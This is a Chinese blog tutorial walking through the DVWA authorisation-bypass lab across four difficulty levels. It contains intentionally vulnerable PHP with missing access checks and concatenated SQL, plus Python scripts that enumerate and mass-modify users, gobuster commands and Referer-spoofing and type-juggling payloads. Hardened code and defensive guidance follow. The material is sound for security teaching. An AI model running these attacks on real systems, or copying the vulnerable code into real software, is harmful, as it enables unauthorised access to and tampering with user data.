0%

DVWA - Authorisation Bypass (权限绕过) 攻防练习详解

目录


漏洞简介

什么是权限绕过(Authorisation Bypass)?

权限绕过也称为访问控制漏洞,指攻击者能够访问或执行他们不应该有权限的功能或资源,绕过应用程序的授权检查。

认证 vs 授权:

概念 英文 作用 问题
认证 Authentication 验证用户身份(你是谁?) 弱密码、会话劫持
授权 Authorisation 验证用户权限(你能做什么?) 权限绕过、越权访问

权限绕过的类型:

1. 水平权限绕过(Horizontal Privilege Escalation)

用户访问同级别其他用户的资源:

1
2
3
用户A → 只能访问自己的订单
攻击:修改order_id=123 → order_id=456
结果:访问到用户B的订单

2. 垂直权限绕过(Vertical Privilege Escalation)

普通用户获取更高权限(如管理员):

1
2
普通用户 → 访问/admin/panel
结果:获得管理员功能

3. 功能级权限绕过

访问未授权的功能或API:

1
2
普通用户 → POST /api/admin/delete_user
结果:执行管理员操作

危害:

  • 访问他人敏感数据
  • 修改其他用户信息
  • 执行管理员操作
  • 删除重要数据
  • 完全控制系统

常见原因:

  • 只在前端隐藏功能
  • 依赖用户提供的参数判断权限
  • 不检查资源所有权
  • Session中存储可篡改的权限信息
  • URL可预测的管理功能

DVWA场景:
一个用户管理系统,有普通用户和管理员两种角色。


Low 难度

攻击目标

完全不检查用户权限,任何用户都可以访问管理功能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

// ★★★ Low难度:完全没有权限检查 ★★★

// 检查用户是否已登录
// dvwaCurrentUser() - 获取当前登录用户名
$currentUser = dvwaCurrentUser();

// ★★★ 问题:只检查是否登录,不检查权限级别 ★★★
// 任何已登录用户都可以访问
if (!$currentUser) {
// 未登录,重定向到登录页
header("Location: login.php");
exit;
}

// 获取要查看的用户ID
// $_GET['id'] - 从URL获取用户ID
$userId = $_GET['id'];

// ★★★ 危险操作1:不验证用户是否有权查看该用户 ★★★
// 问题:
// 1. 不检查当前用户是否是管理员
// 2. 不检查当前用户是否是该用户本人
// 3. 任何登录用户都可以查看任何用户的信息
$query = "SELECT * FROM users WHERE user_id = '$userId'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// ★★★ 显示用户信息(包括敏感数据) ★★★
echo "<h2>User Information</h2>";
echo "<p>User ID: " . $user['user_id'] . "</p>";
echo "<p>Username: " . $user['user'] . "</p>";
echo "<p>First Name: " . $user['first_name'] . "</p>";
echo "<p>Last Name: " . $user['last_name'] . "</p>";
echo "<p>Avatar: " . $user['avatar'] . "</p>";
// ★★★ 甚至显示密码哈希! ★★★
echo "<p>Password Hash: " . $user['password'] . "</p>";
}

// ★★★ 危险操作2:管理员功能没有权限检查 ★★★
if (isset($_GET['action']) && $_GET['action'] == 'delete') {
$deleteUserId = $_GET['delete_id'];

// ★★★ 问题:任何用户都可以删除任何用户 ★★★
// 完全没有检查:
// 1. 当前用户是否是管理员
// 2. 是否可以删除该用户
$query = "DELETE FROM users WHERE user_id = '$deleteUserId'";
mysqli_query($GLOBALS["___mysqli_ston"], $query);

echo "<p>User deleted successfully!</p>";
}

// ★★★ 危险操作3:修改用户信息没有权限检查 ★★★
if (isset($_POST['update'])) {
$updateUserId = $_POST['user_id'];
$newUsername = $_POST['username'];

// ★★★ 问题:任何用户都可以修改任何用户的信息 ★★★
$query = "UPDATE users SET user = '$newUsername' WHERE user_id = '$updateUserId'";
mysqli_query($GLOBALS["___mysqli_ston"], $query);

echo "<p>User updated successfully!</p>";
}

?>

HTML表单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- 查看用户信息 -->
<form method="GET">
<label>View User ID:</label>
<input type="text" name="id" value="1">
<button type="submit">View</button>
</form>

<!-- 删除用户 -->
<form method="GET">
<input type="hidden" name="action" value="delete">
<label>Delete User ID:</label>
<input type="text" name="delete_id" value="2">
<button type="submit">Delete</button>
</form>

<!-- 修改用户名 -->
<form method="POST">
<label>User ID:</label>
<input type="text" name="user_id" value="2"><br>
<label>New Username:</label>
<input type="text" name="username" value="hacked"><br>
<button type="submit" name="update">Update</button>
</form>

漏洞分析

核心问题:

  1. 只检查认证,不检查授权 - 登录即可访问所有功能
  2. 不验证资源所有权 - 任何用户可以访问任何用户数据
  3. 管理功能无保护 - 删除、修改功能没有权限检查
  4. 可预测的ID - 用户ID是连续数字,易于枚举

权限模型缺失:

1
2
3
4
5
6
应该:
用户A → 只能查看/修改自己的数据
管理员 → 可以查看/修改所有用户数据

实际:
任何登录用户 → 可以查看/修改/删除任何用户数据

攻击步骤

步骤1:水平越权 - 访问其他用户数据

攻击:查看其他用户信息

1
2
3
4
5
6
7
8
正常访问:?id=1(查看自己的信息)

攻击:
?id=2 → 查看用户ID=2的信息
?id=3 → 查看用户ID=3的信息
...

结果:可以看到所有用户的信息,包括密码哈希

使用Burp Suite枚举所有用户:

1
2
3
4
5
6
1. 拦截请求:GET /vulnerabilities/authbypass/?id=1
2. 发送到Intruder
3. 设置Payload位置:?id=§1§
4. Payload类型:Numbers(1-100)
5. 开始攻击
6. 结果:获取所有用户的信息

步骤2:垂直越权 - 删除其他用户

攻击:删除管理员账户

1
2
3
4
5
6
7
普通用户登录后:

访问:?action=delete&delete_id=1

结果:
- 管理员账户被删除
- 普通用户执行了管理员操作

步骤3:批量攻击

Python脚本 - 枚举所有用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
'security': 'low',
'PHPSESSID': 'your_session'
}

print("[*] Enumerating users...")

for user_id in range(1, 100):
params = {'id': user_id}
response = requests.get(url, params=params, cookies=cookies)

if 'User ID:' in response.text:
# 提取用户信息
print(f"[+] Found user ID: {user_id}")

# 解析用户名和密码哈希
if 'Username:' in response.text:
# 提取信息(需要解析HTML)
print(f" Details in response")

Python脚本 - 批量修改用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
cookies = {
'security': 'low',
'PHPSESSID': 'your_session'
}

print("[*] Modifying all users...")

for user_id in range(1, 10):
data = {
'user_id': user_id,
'username': f'hacked_{user_id}',
'update': 'Update'
}

response = requests.post(url, data=data, cookies=cookies)

if 'updated successfully' in response.text:
print(f"[+] Modified user {user_id}")
else:
print(f"[-] Failed to modify user {user_id}")

步骤4:查找隐藏的管理功能

目录枚举:

1
2
3
4
5
6
7
8
9
10
11
12
# 使用dirbuster或gobuster
gobuster dir -u http://dvwa.local/vulnerabilities/authbypass/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-c "security=low; PHPSESSID=your_session"

# 常见管理路径
/admin
/administrator
/admin.php
/manage
/panel
/dashboard

功能枚举:

1
2
3
4
5
6
尝试不同的action参数:
?action=delete
?action=update
?action=view
?action=export
?action=backup

Medium 难度

攻击目标

使用Referer检查,但可以伪造。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
header("Location: login.php");
exit;
}

// ★★★ 新增:检查Referer头 ★★★
// $_SERVER['HTTP_REFERER'] - HTTP Referer头
// 作用:检查请求是否来自本站
//
// 问题:
// 1. Referer可以被伪造
// 2. 某些浏览器/代理可能不发送Referer
// 3. 这不是可靠的安全检查
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];

// ★★★ 检查Referer是否包含当前域名 ★★★
// strpos() - 查找字符串位置
// $_SERVER['HTTP_HOST'] - 当前域名
//
// 例如:
// Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
// HTTP_HOST: dvwa.local
// strpos() 找到 "dvwa.local" → 通过检查
if (strpos($referer, $_SERVER['HTTP_HOST']) === false) {
// Referer不包含当前域名,拒绝
echo "<pre>Access denied: Invalid referer</pre>";
exit;
}
} else {
// ★★★ 问题:没有Referer也拒绝 ★★★
// 某些情况下,合法用户的浏览器可能不发送Referer
echo "<pre>Access denied: No referer</pre>";
exit;
}

// ★★★ 新增:简单的角色检查 ★★★
// 检查用户是否有admin_role权限
// 但这个检查有漏洞
function isAdmin($username) {
// 从数据库查询用户角色
$query = "SELECT * FROM users WHERE user = '$username'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// ★★★ 问题:角色信息存储在客户端可见的字段 ★★★
// 如果avatar或其他字段包含"admin"字符串,就认为是管理员
// 这是非常弱的检查
if (strpos($user['avatar'], 'admin') !== false) {
return true;
}
}

return false;
}

// 获取用户ID
$userId = $_GET['id'];

// ★★★ 改进:检查用户权限 ★★★
// 但检查逻辑有漏洞
if (!isAdmin($currentUser)) {
// ★★★ 问题:只检查是否是管理员,不检查是否查看自己的数据 ★★★
// 非管理员应该只能查看自己的数据,但这里没有检查
echo "<pre>Access denied: Admin only</pre>";
exit;
}

// 后续操作...
// 查询、删除、修改用户
// ...

?>

新增防护

  1. Referer检查 - 验证请求来源
  2. 角色检查 - 判断是否是管理员
  3. 拒绝无Referer的请求

仍存在的漏洞

核心问题:

  1. Referer可伪造 - 这不是可靠的安全措施
  2. 角色检查逻辑弱 - 基于avatar字段判断
  3. 没有检查资源所有权 - 管理员检查不够
  4. Session劫持 - 如果获取管理员Session,可以绕过

绕过方法

方法1:伪造Referer头

使用Burp Suite:

1
2
3
4
5
6
GET /vulnerabilities/authbypass/?id=2 HTTP/1.1
Host: dvwa.local
Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
Cookie: security=medium; PHPSESSID=your_session

结果:通过Referer检查

使用curl:

1
2
3
curl -X GET "http://dvwa.local/vulnerabilities/authbypass/?id=2" \
-H "Referer: http://dvwa.local/vulnerabilities/authbypass/" \
-H "Cookie: security=medium; PHPSESSID=your_session"

使用Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
headers = {
'Referer': 'http://dvwa.local/vulnerabilities/authbypass/index.php'
}
cookies = {
'security': 'medium',
'PHPSESSID': 'your_session'
}

params = {'id': 2}

response = requests.get(url, params=params, headers=headers, cookies=cookies)

if 'User ID:' in response.text:
print("[+] Bypassed referer check!")
print(response.text)

方法2:利用角色检查漏洞

如果avatar字段可修改:

1
2
3
4
5
6
7
8
9
10
# 1. 修改自己的avatar包含"admin"字符串
data = {
'user_id': 5, # 当前用户ID
'avatar': 'images/admin_avatar.jpg', # 包含"admin"
'update': 'Update'
}

requests.post(url, data=data, headers=headers, cookies=cookies)

# 2. 现在被识别为管理员,可以访问所有功能

方法3:会话固定/劫持

1
2
3
1. 获取管理员的Session ID(通过XSS、网络嗅探等)
2. 使用管理员的Session访问
3. 绕过所有权限检查

High 难度

攻击目标

使用Anti-CSRF Token,但仍有逻辑漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
header("Location: login.php");
exit;
}

// ★★★ 新增:Anti-CSRF Token验证 ★★★
// 检查是否提交了表单
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

// ★★★ 验证CSRF Token ★★★
// 从POST数据获取token
$userToken = $_POST['user_token'] ?? '';
// 从Session获取token
$sessionToken = $_SESSION['session_token'] ?? '';

// checkToken() - 验证CSRF token
// 参数1:用户提交的token
// 参数2:Session中的token
// 参数3:失败后重定向的页面
if (!checkToken($userToken, $sessionToken, 'index.php')) {
echo "<pre>CSRF token validation failed</pre>";
exit;
}
}

// ★★★ 改进:基于数据库的角色检查 ★★★
function getUserRole($username) {
// 从数据库查询用户角色
// 假设users表有role字段:'admin' 或 'user'
$query = "SELECT role FROM users WHERE user = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, 's', $username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result && mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
return $row['role'];
}

return 'user'; // 默认为普通用户
}

// 检查用户角色
$userRole = getUserRole($currentUser);

// 获取要访问的用户ID
$userId = $_GET['id'] ?? 0;

// ★★★ 改进:根据角色限制访问 ★★★
if ($userRole != 'admin') {
// ★★★ 问题:虽然检查了角色,但逻辑仍有漏洞 ★★★
// 非管理员只能访问自己的数据
// 但没有正确验证$userId是否是当前用户

// 获取当前用户的ID
$currentUserId = getCurrentUserId($currentUser);

// ★★★ 逻辑漏洞:类型比较 ★★★
// $_GET['id']是字符串,$currentUserId是整数
// 如果使用==而不是===,可能被绕过
if ($userId != $currentUserId) {
echo "<pre>Access denied: You can only view your own data</pre>";
exit;
}
}

// ★★★ 管理员可以访问所有用户数据 ★★★
if ($userRole == 'admin') {
// 管理员权限:查看、修改、删除任何用户
}

// 查询用户信息
$query = "SELECT * FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, 'i', $userId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// 显示用户信息
echo "<h2>User Information</h2>";
echo "<p>User ID: " . htmlspecialchars($user['user_id']) . "</p>";
echo "<p>Username: " . htmlspecialchars($user['user']) . "</p>";
// ★★★ 改进:不再显示密码哈希 ★★★
}

// 生成新的CSRF token
generateSessionToken();

?>

新增防护

  1. Anti-CSRF Token - 防止跨站请求伪造
  2. 基于数据库的角色 - 从数据库读取用户角色
  3. 资源所有权检查 - 验证用户是否可以访问该资源
  4. 使用预编译语句 - 防止SQL注入

仍存在的漏洞

核心问题:

  1. 类型比较漏洞 - 使用!=而不是!==
  2. 参数篡改 - 可以尝试各种输入绕过检查
  3. 逻辑漏洞 - 某些边界情况未考虑

绕过方法

方法1:类型混淆绕过

1
2
3
4
5
6
7
// 代码中:
if ($userId != $currentUserId) {
// 拒绝访问
}

// 问题:$userId是字符串,$currentUserId是整数
// PHP的弱类型比较可能导致绕过

测试:

1
2
3
4
5
6
7
当前用户ID: 5

尝试:
?id=5 → 通过(相等)
?id=5.0 → 可能通过(5 != 5.0 is false
?id=5e0 → 可能通过(科学计数法)
?id=05 → 可能通过(前导零)

方法2:参数污染

1
2
3
4
5
?id=5&id=2

某些服务器配置下,可能导致:
- 第一个id用于检查(通过)
- 第二个id用于查询(访问user_id=2

方法3:会话固定

1
2
3
1. 创建新账户(普通用户)
2. 修改数据库,将角色改为admin(如果有SQL注入)
3. 或窃取管理员Session

Impossible 难度

攻击目标

完善的权限检查,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<?php

// ★★★ Impossible: 完善的权限管理 ★★★

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
// 未登录,重定向
header("Location: login.php");
exit;
}

// ★★★ 核心防护1:验证CSRF Token ★★★
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
checkToken(
$_REQUEST['user_token'],
$_SESSION['session_token'],
'index.php'
);
}

// ★★★ 核心防护2:完善的权限检查类 ★★★
class Authorization {

// 获取用户角色
public static function getUserRole($username) {
global $db; // PDO连接

// ★★★ 使用PDO预编译 ★★★
$stmt = $db->prepare('SELECT role FROM users WHERE user = :username');
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->execute();

$result = $stmt->fetch(PDO::FETCH_ASSOC);

return $result ? $result['role'] : 'user';
}

// 获取用户ID
public static function getUserId($username) {
global $db;

$stmt = $db->prepare('SELECT user_id FROM users WHERE user = :username');
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->execute();

$result = $stmt->fetch(PDO::FETCH_ASSOC);

return $result ? $result['user_id'] : 0;
}

// ★★★ 核心方法:检查是否可以访问用户 ★★★
public static function canAccessUser($currentUser, $targetUserId) {
// 获取当前用户角色
$role = self::getUserRole($currentUser);

// ★★★ 管理员可以访问所有用户 ★★★
if ($role === 'admin') {
return true;
}

// ★★★ 普通用户只能访问自己 ★★★
$currentUserId = self::getUserId($currentUser);

// ★★★ 使用严格比较(===) ★★★
// 防止类型混淆攻击
return (int)$targetUserId === (int)$currentUserId;
}

// ★★★ 核心方法:检查是否可以修改用户 ★★★
public static function canModifyUser($currentUser, $targetUserId) {
// 获取角色
$role = self::getUserRole($currentUser);

// ★★★ 只有管理员可以修改其他用户 ★★★
if ($role === 'admin') {
return true;
}

// ★★★ 普通用户只能修改自己 ★★★
$currentUserId = self::getUserId($currentUser);

return (int)$targetUserId === (int)$currentUserId;
}

// ★★★ 核心方法:检查是否可以删除用户 ★★★
public static function canDeleteUser($currentUser, $targetUserId) {
// 获取角色
$role = self::getUserRole($currentUser);

// ★★★ 只有管理员可以删除用户 ★★★
if ($role !== 'admin') {
return false;
}

// ★★★ 管理员不能删除自己 ★★★
$currentUserId = self::getUserId($currentUser);

if ((int)$targetUserId === (int)$currentUserId) {
return false;
}

return true;
}
}

// ★★★ 获取并验证用户ID ★★★
$userId = $_GET['id'] ?? 0;

// ★★★ 输入验证 ★★★
if (!is_numeric($userId) || $userId <= 0) {
echo "<pre>Invalid user ID</pre>";
exit;
}

// ★★★ 权限检查:是否可以访问该用户 ★★★
if (!Authorization::canAccessUser($currentUser, $userId)) {
echo "<pre>Access denied: You don't have permission to view this user</pre>";

// ★★★ 记录未授权访问尝试 ★★★
logSecurityEvent('Unauthorized access attempt', [
'user' => $currentUser,
'target_user_id' => $userId,
'ip' => $_SERVER['REMOTE_ADDR'],
'timestamp' => date('Y-m-d H:i:s')
]);

exit;
}

// ★★★ 安全地查询用户信息 ★★★
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, avatar FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 安全地显示信息 ★★★
// 使用htmlspecialchars()防止XSS
echo "<h2>User Information</h2>";
echo "<p>User ID: " . htmlspecialchars($user['user_id']) . "</p>";
echo "<p>Username: " . htmlspecialchars($user['user']) . "</p>";
echo "<p>First Name: " . htmlspecialchars($user['first_name']) . "</p>";
echo "<p>Last Name: " . htmlspecialchars($user['last_name']) . "</p>";

// ★★★ 不显示密码哈希 ★★★
} else {
echo "<pre>User not found</pre>";
}

// ★★★ 处理修改请求 ★★★
if (isset($_POST['update'])) {
$updateUserId = $_POST['user_id'];

// ★★★ 权限检查:是否可以修改该用户 ★★★
if (!Authorization::canModifyUser($currentUser, $updateUserId)) {
echo "<pre>Access denied: You don't have permission to modify this user</pre>";

logSecurityEvent('Unauthorized modify attempt', [
'user' => $currentUser,
'target_user_id' => $updateUserId,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 执行修改...
// 使用PDO预编译语句
}

// ★★★ 处理删除请求 ★★★
if (isset($_POST['delete'])) {
$deleteUserId = $_POST['delete_id'];

// ★★★ 权限检查:是否可以删除该用户 ★★★
if (!Authorization::canDeleteUser($currentUser, $deleteUserId)) {
echo "<pre>Access denied: You don't have permission to delete this user</pre>";

logSecurityEvent('Unauthorized delete attempt', [
'user' => $currentUser,
'target_user_id' => $deleteUserId,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 执行删除...
}

// 生成新的CSRF token
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. 认证检查 - 验证用户是否登录
  2. CSRF Token - 防止跨站请求伪造
  3. 角色验证 - 从数据库读取真实角色
  4. 资源所有权 - 验证是否有权访问该资源
  5. 操作权限 - 不同操作有不同的权限要求
  6. 输入验证 - 验证所有输入参数
  7. PDO预编译 - 防止SQL注入
  8. 输出编码 - htmlspecialchars()防XSS
  9. 审计日志 - 记录所有未授权访问尝试
  10. 严格类型比较 - 使用===防止类型混淆

权限检查流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
用户请求访问user_id=2

1. 检查是否登录 → 未登录则拒绝

2. 验证CSRF Token → 无效则拒绝

3. 验证输入参数 → 无效则拒绝

4. 查询当前用户角色 → 从数据库

5. 检查权限:
- 管理员?→ 允许
- 访问自己?→ 允许
- 其他?→ 拒绝

6. 记录访问日志

7. 执行操作

为什么无法攻破?

所有攻击都被阻止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击1:?id=2(越权访问)
权限检查 → 不是管理员 && 不是自己 → 拒绝
日志记录 → 记录未授权尝试

攻击2:伪造Referer
不依赖Referer → 使用CSRF Token → 无效

攻击3:类型混淆(?id=2.0)
强制类型转换 (int)$userId → 2
严格比较 === → 正确验证

攻击4:参数污染(?id=5&id=2)
只取第一个参数 → 正常处理

攻击5:会话劫持
即使获取Session,仍需通过权限检查

攻击6:修改数据库角色
从数据库读取角色 → 如果能修改数据库,已经完全控制系统

关键防御点:

  1. 基于角色的访问控制(RBAC) - 明确的角色和权限
  2. 资源所有权验证 - 每次都检查
  3. 最小权限原则 - 只给必要的权限
  4. 审计和监控 - 记录所有访问
  5. 深度防御 - 多层验证

防御建议

架构层面

1. 实施RBAC(基于角色的访问控制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 定义角色和权限
class Permission {
const VIEW_OWN_DATA = 'view_own_data';
const VIEW_ALL_DATA = 'view_all_data';
const MODIFY_OWN_DATA = 'modify_own_data';
const MODIFY_ALL_DATA = 'modify_all_data';
const DELETE_USERS = 'delete_users';
}

class Role {
private $permissions = [];

public function addPermission($permission) {
$this->permissions[] = $permission;
}

public function hasPermission($permission) {
return in_array($permission, $this->permissions);
}
}

// 定义角色
$adminRole = new Role();
$adminRole->addPermission(Permission::VIEW_ALL_DATA);
$adminRole->addPermission(Permission::MODIFY_ALL_DATA);
$adminRole->addPermission(Permission::DELETE_USERS);

$userRole = new Role();
$userRole->addPermission(Permission::VIEW_OWN_DATA);
$userRole->addPermission(Permission::MODIFY_OWN_DATA);

// 检查权限
if (!$currentRole->hasPermission(Permission::VIEW_ALL_DATA)) {
die('Access denied');
}

2. 集中的权限检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 中间件/拦截器
class AuthMiddleware {
public static function checkPermission($requiredPermission) {
$currentUser = getCurrentUser();

if (!$currentUser) {
http_response_code(401);
die('Unauthorized');
}

$role = getUserRole($currentUser);

if (!$role->hasPermission($requiredPermission)) {
http_response_code(403);
logUnauthorizedAccess($currentUser, $requiredPermission);
die('Forbidden');
}
}
}

// 使用
AuthMiddleware::checkPermission(Permission::DELETE_USERS);

代码层面

1. 每个操作都验证权限

1
2
3
4
5
6
7
8
9
10
11
12
13
// ❌ 错误:只在前端隐藏按钮
if ($role == 'admin') {
echo '<button onclick="deleteUser()">Delete</button>';
}

// ✅ 正确:在后端验证
function deleteUser($userId) {
if (!hasPermission('delete_users')) {
throw new UnauthorizedException();
}

// 执行删除
}

2. 验证资源所有权

1
2
3
4
5
6
7
8
9
10
11
// 查看用户资料
function viewProfile($userId) {
$currentUserId = getCurrentUserId();

// 检查:是管理员 或 是用户本人
if (!isAdmin() && $currentUserId !== $userId) {
throw new ForbiddenException();
}

// 查询并返回
}

3. 使用白名单

1
2
3
4
5
6
7
8
// 允许的操作列表
$allowedActions = ['view', 'edit', 'delete'];

$action = $_GET['action'];

if (!in_array($action, $allowedActions)) {
die('Invalid action');
}

4. 防止参数篡改

1
2
3
4
5
6
7
// ❌ 危险:从用户输入获取角色
$role = $_POST['role'];

// ✅ 安全:从服务器端Session/数据库获取
$role = $_SESSION['user_role'];
// 或
$role = getUserRoleFromDatabase($_SESSION['user_id']);

监控层面

1. 记录所有授权失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function logAuthorizationFailure($user, $action, $resource) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user' => $user,
'action' => $action,
'resource' => $resource,
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT']
];

// 写入日志
file_put_contents(
'/var/log/security/authz_failures.log',
json_encode($log) . "\n",
FILE_APPEND
);

// 如果失败次数过多,触发警报
if (countRecentFailures($user) > 10) {
alertSecurity("Possible privilege escalation attempt by $user");
}
}

2. 异常行为检测

1
2
3
4
5
6
7
8
9
10
11
12
13
// 检测异常访问模式
function detectAnomalousAccess($userId, $accessedUserId) {
// 用户A频繁尝试访问不同用户
$recentAccesses = getRecentAccesses($userId, 3600); // 过去1小时

$uniqueTargets = array_unique($recentAccesses);

if (count($uniqueTargets) > 20) {
// 可能在枚举用户
alertSecurity("User $userId is accessing too many different users");
lockAccount($userId, 3600);
}
}

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 定义策略
class UserPolicy {
public function view(User $currentUser, User $user) {
// 管理员可以查看所有用户
if ($currentUser->isAdmin()) {
return true;
}

// 用户只能查看自己
return $currentUser->id === $user->id;
}

public function update(User $currentUser, User $user) {
return $currentUser->isAdmin() || $currentUser->id === $user->id;
}

public function delete(User $currentUser, User $user) {
// 只有管理员可以删除
// 且不能删除自己
return $currentUser->isAdmin() && $currentUser->id !== $user->id;
}
}

// 在控制器中使用
public function show(User $user) {
$this->authorize('view', $user);

return view('users.show', compact('user'));
}

使用中间件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 定义中间件
class AdminMiddleware {
public function handle($request, $next) {
if (!auth()->user()->isAdmin()) {
abort(403, 'Forbidden');
}

return $next($request);
}
}

// 路由中使用
Route::middleware(['auth', 'admin'])->group(function () {
Route::get('/admin/users', 'AdminController@users');
Route::delete('/admin/users/{id}', 'AdminController@deleteUser');
});

总结对比

特性 Low Medium High Impossible
认证检查
授权检查 弱Referer检查 角色检查 完善检查
资源所有权 弱验证 ✅ 严格验证
CSRF防护
角色管理 弱角色检查 数据库角色 RBAC
输入验证
审计日志
类型安全 == ===
攻击难度 极易 简单 中等 极难

常见攻击向量

1. 直接对象引用(IDOR)

1
2
正常:/user/profile?id=123(自己的ID)
攻击:/user/profile?id=456(他人的ID)

2. 参数污染

1
2
/admin?role=admin&user_id=5
/api/users/5?admin=true

3. 路径遍历

1
2
/../../admin/panel
/admin/%2e%2e/panel

4. HTTP方法绕过

1
2
GET /admin403 Forbidden
POST /admin200 OK(如果只检查GET

实战建议

渗透测试清单:

  1. ✅ 枚举所有功能和端点
  2. ✅ 测试水平越权(访问其他用户数据)
  3. ✅ 测试垂直越权(访问管理员功能)
  4. ✅ 修改用户ID/角色参数
  5. ✅ 测试IDOR漏洞
  6. ✅ 尝试不同HTTP方法
  7. ✅ 检查隐藏的管理功能

防御清单:

  1. ✅ 实施RBAC
  2. ✅ 每个操作都验证权限
  3. ✅ 验证资源所有权
  4. ✅ 使用CSRF Token
  5. ✅ 记录所有授权失败
  6. ✅ 最小权限原则
  7. ✅ 定期审计权限

道德准则:

  • 只在授权环境测试
  • 不越权访问真实用户数据
  • 学习是为了构建安全的访问控制
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels